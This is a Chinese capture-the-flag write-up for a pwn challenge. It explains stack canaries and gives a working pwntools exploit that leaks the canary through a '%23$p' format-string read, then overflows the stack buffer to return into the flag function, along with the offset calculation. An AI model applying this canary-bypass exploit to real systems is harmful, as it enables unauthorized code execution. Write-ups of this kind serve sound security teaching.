首先选择栈溢出漏洞还是格式化字符串漏洞,然后分别进入栈溢出漏洞和格式化字符串漏洞对应的方法。这两个方法分别存在这两种类型的漏洞。
如上图所示,本题开了Canary保护。所谓的Canary保护是指在栈在保存rbp的位置之上,还保存了一个变量v。在函数执行结束,准备pop rbp和pop addr_ret之前,检查v是否被改变,如果改变了则说明发生了栈溢出,程序将会报错。v的实现逻辑和在栈中的位置如下图所示。
所以,这道题的思路就很明确了。题目给了两种漏洞,就是为了让我们利用格式化字符串的漏洞绕过canary【本题是利用格式化字符串得到canary的值】,然后再通栈溢出获得flag(获取flag的代码存在于sub_4008DA)。
exp如下:
from pwn import * io = remote("220.249.52.133","36733") context.log_level='debug' addr_bin = 0x4008DA payload = '%23$p' io.sendlineafter("3. Exit the battle \n","2") io.sendline(payload) canary = io.recvuntil("1")[:-2] io.sendlineafter("3. Exit the battle \n","1") payload = 'A' * (0x90 - 8) + p64(int(canary,16)) + 'A' * 8 + p64(addr_bin) io.sendline(payload) io.interactive()最后,说一下偏移值23的具体计算,可能有人计算成了17.
buf所在位置为90h,canary在8h。64位系统,canary占8位,所以他们之间的间距h=(90h-8h)/ 8 = 17,然后通过下图操作,发现buf在第六位,则总的间距是17+6=23
这里有点要注意,我们使用的是%p,而不是%x.%p输出的才是完整的。